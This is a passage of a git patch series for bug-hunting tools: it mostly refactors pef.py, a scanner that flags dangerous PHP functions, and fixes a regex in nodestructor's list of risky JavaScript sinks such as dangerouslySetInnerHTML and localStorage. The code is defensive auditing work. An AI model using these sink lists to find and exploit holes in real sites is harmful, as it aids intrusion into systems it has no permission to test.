prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + for refl in pefdefs.reflectedProperties: + if refl in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if sql == True: + for refl in pefdefs.otherPatterns: + p = re.compile(refl) + if p.search(l): + header_printed = header_print( + f.name, header_printed) + total += 1 + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if total < 1: + pass else: - self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - return + print beautyConsole.getColor("red") + \ + "Found %d interesting entries\n" % (total) + \ + beautyConsole.getSpecialChar("endline") + + return total # return how many findings in current file + + def run(self): + """ + runs scanning + """ + if self.recursive: + for root, subdirs, files in os.walk(self.filename): + for f in files: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res + else: + self.scanned_files = self.scanned_files + 1 + self.found_entries = self.main(self.filename) + return def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): @@ -193,9 +346,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): if fn in line or atfn in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) else: for fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names @@ -206,9 +359,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): if fn in line or atfn in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) if critical == False: for dp in pefdefs.fileInclude: @@ -218,25 +371,25 @@ def main(src, severity, verbose=False, sql=False, critical=False): if dp in line.replace(" ", ""): header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) for globalvars in pefdefs.globalVars: if globalvars in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, globalvars, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) for refl in pefdefs.reflectedProperties: if refl in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if sql == True: for refl in pefdefs.otherPatterns: @@ -245,9 +398,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): header_printed = header_print( f.name, header_printed) total += 1 - printcodeline(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if total < 1: pass @@ -323,12 +476,8 @@ def main(src, severity, verbose=False, sql=False, critical=False): print "\n" - - - # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) - engine.run() - + # engine.run() exit(0) From ef78f7c6d0e990372466cf472a33bfcbc57609fb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 18 Jul 2019 00:28:27 +0100 Subject: [PATCH 010/369] Refactoring pef.py --- denumerator/denumerator.py | 2 +- pef/pef.py | 285 +++++++------------------------------ 2 files changed, 51 insertions(+), 236 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index d86a574..962ec1d 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -48,7 +48,7 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 204, 403, 404, 405, 415, 422, 500] +allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] timeout = 2 diff --git a/pef/pef.py b/pef/pef.py index 7bb8ab4..78d5c99 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -53,17 +53,19 @@ def __init__(self, recursive, verbose, critical, sql, filename): "medium": 0, "low": 0 } + + self.header_printed = False return def header_print(self, file_name, header_print): """ prints file header """ - if header_printed == False: + if self.header_printed == False: print beautyConsole.getColor("white") + "-" * 100 print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" - header_printed = True - return header_printed + self.header_printed = True + return self.header_printed def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ @@ -132,7 +134,7 @@ def main(self, src): linelength = 97 all_lines = f.readlines() - header_printed = False + self.header_printed = False prev_prev_line = "" prev_line = "" next_line = "" @@ -159,10 +161,11 @@ def main(self, src): # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, + next_line, prev_prev_line, next_next_line, self.severity, verbose) else: for fn in pefdefs.exploitableFunctions: @@ -172,10 +175,11 @@ def main(self, src): # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, + next_line, prev_prev_line, next_next_line, self.severity, verbose) if critical == False: @@ -184,37 +188,40 @@ def main(self, src): dp = " {}".format(dp) # remove spaces to allow detection eg. include( $_GET['something] ) if dp in line.replace(" ", ""): - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) for globalvars in pefdefs.globalVars: if globalvars in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) for refl in pefdefs.reflectedProperties: if refl in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) if sql == True: for refl in pefdefs.otherPatterns: p = re.compile(refl) if p.search(l): - header_printed = header_print( - f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) if total < 1: @@ -226,190 +233,38 @@ def main(self, src): return total # return how many findings in current file - def run(self): - """ - runs scanning - """ - if self.recursive: - for root, subdirs, files in os.walk(self.filename): - for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res - else: - self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - return - - -def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): - """ - Formats and prints line of output - """ - impact_color = { - "low": "green", - "medium": "yellow", - "high": "red" - } - - if verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, fn) - else: - print "{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()) - - # print legend only if there i sentry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - - if verbose == True: - print "\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline")) - print " {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline")) - print " Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) - - if impact not in severity.keys(): - severity[impact] = 1 + def run(self): + """ + runs scanning + """ + if self.recursive: + for root, subdirs, files in os.walk(self.filename): + for f in files: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res else: - severity[impact] = severity[impact] + 1 - - if verbose == True: - print "\n" - if prev_prev_line: - print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ - beautyConsole.getSpecialChar("endline") - if prev_line: - print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ - beautyConsole.getSpecialChar("endline") - print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") - if next_line: - print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ - beautyConsole.getSpecialChar("endline") - if next_next_line: - print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ - beautyConsole.getSpecialChar("endline") - print "\n" - + self.scanned_files = self.scanned_files + 1 + self.found_entries = self.main(self.filename) -def header_print(file_name, header_printed): - if header_printed == False: print beautyConsole.getColor("white") + "-" * 100 - print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" - header_printed = True - return header_printed - -def main(src, severity, verbose=False, sql=False, critical=False): - """ - performs code analysis, line by line - """ - f = open(src, "r") - i = 0 - total = 0 - filenamelength = len(src) - linelength = 97 - all_lines = f.readlines() - - header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" - - for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - - i += 1 - line = l.rstrip() - - if critical: - for fn in pefdefs.critical: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + print beautyConsole.getColor("green") + print "\n>>> {} file(s) scanned".format(self.scanned_files) + if self.found_entries > 0: + print "{}>>> {} interesting entries found\n".format( + beautyConsole.getColor("red"), self.found_entries) else: - for fn in pefdefs.exploitableFunctions: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) - - if critical == False: - for dp in pefdefs.fileInclude: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - dp = " {}".format(dp) - # remove spaces to allow detection eg. include( $_GET['something] ) - if dp in line.replace(" ", ""): - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - for globalvars in pefdefs.globalVars: - if globalvars in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - for refl in pefdefs.reflectedProperties: - if refl in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - if sql == True: - for refl in pefdefs.otherPatterns: - p = re.compile(refl) - if p.search(l): - header_printed = header_print( - f.name, header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + print " No interesting entries found :( \n" - if total < 1: - pass - else: - print beautyConsole.getColor("red") + \ - "Found %d interesting entries\n" % (total) + \ - beautyConsole.getSpecialChar("endline") + print "{}==> {}:\t {}".format( + beautyConsole.getColor("red"), "HIGH", self.severity.get("high")) + print "{}==> {}:\t {}".format(beautyConsole.getColor( + "yellow"), "MEDIUM", self.severity.get("medium")) + print "{}==> {}:\t {}".format(beautyConsole.getColor( + "green"), "LOW", self.severity.get("low")) - return total # return how many findings in current file + print "\n" # main program @@ -437,47 +292,7 @@ def main(src, severity, verbose=False, sql=False, critical=False): critical = True if args.critical else False filename = args.file - scanned_files = 0 - found_entries = 0 - - severity = { - "high": 0, - "medium": 0, - "low": 0 - } - - if args.recursive: - for root, subdirs, files in os.walk(filename): - for f in files: - scanned_files = scanned_files + 1 - res = main(os.path.join(root, f), severity, - verbose, sql, critical) - found_entries = found_entries + res - else: - scanned_files = scanned_files + 1 - found_entries = main(filename, severity) - - print beautyConsole.getColor("white") + "-" * 100 - - print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(scanned_files) - if found_entries > 0: - print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), found_entries) - else: - print " No interesting entries found :( \n" - - print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", severity.get("high")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", severity.get("medium")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", severity.get("low")) - - print "\n" - - # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) - # engine.run() + engine.run() exit(0) From 27a87ee29943d7c272985a19b1b9ac80911feb81 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 22 Jul 2019 23:47:30 +0100 Subject: [PATCH 011/369] --pattern switch to allow to search for any pattern [pef.py] --- pef/pef.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 78d5c99..d8f18ae 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -35,7 +35,7 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename): + def __init__(self, recursive, verbose, critical, sql, filename, pattern): """ constructor """ @@ -44,6 +44,7 @@ def __init__(self, recursive, verbose, critical, sql, filename): self.critical = critical # scan only for critical set of functions self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan + self.pattern = pattern # pattern(s) to look for, if set self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -153,7 +154,8 @@ def main(self, src): i += 1 line = l.rstrip() - if critical: + + if self.critical: for fn in pefdefs.critical: # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) @@ -167,8 +169,8 @@ def main(self, src): self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, verbose) - else: - for fn in pefdefs.exploitableFunctions: + else: + for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) fn = " {}".format(fn) @@ -182,7 +184,7 @@ def main(self, src): next_line, prev_prev_line, next_next_line, self.severity, verbose) - if critical == False: + if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names dp = " {}".format(dp) @@ -277,6 +279,8 @@ def run(self): "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-c", "--critical", help="look only for critical functions", action="store_true") + parser.add_argument( + "-p", "--pattern", help="look only for particular code pattern(s)") parser.add_argument( "-s", "--sql", help="look for raw SQL queries", action="store_true") parser.add_argument( @@ -290,9 +294,10 @@ def run(self): verbose = True if args.verbose else False sql = True if args.sql else False critical = True if args.critical else False + pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - engine = PefEngine(args.recursive, verbose, critical, sql, filename) + engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() exit(0) From 85a7127b2f2b9a16fcc1b92815aae94d5f590e13 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 24 Jul 2019 23:24:17 +0100 Subject: [PATCH 012/369] refactor (cont) [pef.py] --- pef/pef.py | 41 ++++++++++++++++++++++++++--------------- 1 file changed, 26 insertions(+), 15 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d8f18ae..20608c7 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -68,6 +68,27 @@ def header_print(self, file_name, header_print): self.header_printed = True return self.header_printed + def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + """ + analysis of single line of code; searches for pattern (passed as fn and atfn) occurence + + if occurence found, output is printed + """ + + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + + if fn in line or atfn in line: + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line @@ -154,22 +175,11 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: for fn in pefdefs.critical: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) - else: + self.analyse_line(l, i, fn, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) + else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) @@ -297,7 +307,8 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) + engine = PefEngine(args.recursive, verbose, + critical, sql, filename, pattern) engine.run() exit(0) From 0d9c7009e64c0cd8b9554fc09732d4ef6ae7e9e5 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 30 Jul 2019 20:21:28 -0700 Subject: [PATCH 013/369] improving pef.py --- pef/pef.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 20608c7..b58d81d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -8,7 +8,7 @@ """ pef.py - PHP static code analysis tool (very, very simple) by bl4de -GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com +GitHub: bl4de | bloorq@gmail.com """ import sys import os @@ -282,7 +282,9 @@ def run(self): # main program if __name__ == "__main__": - parser = argparse.ArgumentParser() + parser = argparse.ArgumentParser( + description=sys.modules[__name__].__doc__ + ) filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( @@ -307,6 +309,7 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file + # main orutine starts here engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() From e1fdad9434533ccbc9c1ba057d6c2c09f283c4ed Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 30 Jul 2019 21:20:01 -0700 Subject: [PATCH 014/369] fix typo in dangerouslySetInnerHTML [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 26f97db..bb0968b 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -107,7 +107,7 @@ ".*\.replaceWith\(", ".*\.wrap\(", ".*\.wrapAll\(", - ".*\.dangerouslytSetInnerHTML\(", + ".*\.dangerouslySetInnerHTML\(", ".*\.bypassSecurityTrust.*\(", ".*localStorage\.", ".*sessionStorage\.", From fad8fc69d7470e11c02d43b523cac6bf813b3002 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 2 Aug 2019 19:12:35 -0400 Subject: [PATCH 015/369] refactoring [pef.py] --- pef/pef.py | 58 ++++++++++++------------------------------------------ 1 file changed, 13 insertions(+), 45 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index b58d81d..a0ae4c0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -88,6 +88,8 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, verbose) + return total + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ @@ -177,64 +179,30 @@ def main(self, src): if self.critical: for fn in pefdefs.critical: - self.analyse_line(l, i, fn, f, line, prev_line, + total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, fn, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - dp = " {}".format(dp) - # remove spaces to allow detection eg. include( $_GET['something] ) - if dp in line.replace(" ", ""): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, dp, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) for globalvars in pefdefs.globalVars: - if globalvars in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, globalvars, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) for refl in pefdefs.reflectedProperties: - if refl in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, refl, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if sql == True: for refl in pefdefs.otherPatterns: - p = re.compile(refl) - if p.search(l): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, refl, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if total < 1: pass From 05f0970e4e09453ee54fbb431d8fe128774b526c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 3 Aug 2019 22:47:11 -0400 Subject: [PATCH 016/369] basic exception handling [pef.py] --- pef/pef.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a0ae4c0..3d7bf78 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -277,9 +277,13 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) - engine.run() - - exit(0) + try: + # main orutine starts here + engine = PefEngine(args.recursive, verbose, + critical, sql, filename, pattern) + engine.run() + except Exception as e: + print "Unexpected error:" + print type(e) + print e.args + print e From e51b15d27557d0bb43b05bf902a330cf9468ac14 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 4 Aug 2019 00:00:18 -0400 Subject: [PATCH 017/369] basic exception handling [pef.py] --- pef/pef.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pef/pef.py b/pef/pef.py index 3d7bf78..44a39c3 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -287,3 +287,9 @@ def run(self): print type(e) print e.args print e + finally: + ### cleaning up + + ### exiting + print "[+] Done" + exit(0) \ No newline at end of file From 543330e30a8d612962896b8575666fbc739109ab Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 00:13:03 -0400 Subject: [PATCH 018/369] move to Python 3 [pef.py] --- pef/pef.py | 122 ++++++++++++++++++++++++++--------------------------- 1 file changed, 61 insertions(+), 61 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 44a39c3..5e09b5f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # # PHP Exploitable Functions/Vars Scanner # bl4de | bloorq@gmail.com | Twitter: @_bl4de @@ -24,10 +24,11 @@ def banner(): """ Prints welcome banner with contact info """ - print beautyConsole.getColor("green") + "\n\n", "-" * 100 - print "-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16 - print "-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16 - print "-" * 100, "\33[0m\n" + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16) + print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") class PefEngine: @@ -63,8 +64,8 @@ def header_print(self, file_name, header_print): prints file header """ if self.header_printed == False: - print beautyConsole.getColor("white") + "-" * 100 - print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" + print(beautyConsole.getColor("white") + "-" * 100) + print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") self.header_printed = True return self.header_printed @@ -80,7 +81,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - + if fn in line or atfn in line: self.header_printed = self.header_print( f.name, self.header_printed) @@ -90,7 +91,6 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, verbose) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line @@ -102,10 +102,10 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li } if verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, fn) + print(" line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: - print "{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()) + print("{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip())) # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -116,12 +116,12 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if verbose == True: - print "\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline")) - print " {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline")) - print " Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) + print("\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline"))) + print(" {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline"))) + print(" Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) if impact not in severity.keys(): severity[impact] = 1 @@ -129,22 +129,22 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li severity[impact] = severity[impact] + 1 if verbose == True: - print "\n" + print("\n") if prev_prev_line: - print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ - beautyConsole.getSpecialChar("endline") + print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + + beautyConsole.getSpecialChar("endline")) if prev_line: - print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ - beautyConsole.getSpecialChar("endline") - print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") + print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + + beautyConsole.getSpecialChar("endline")) + print(str(i) + " " + 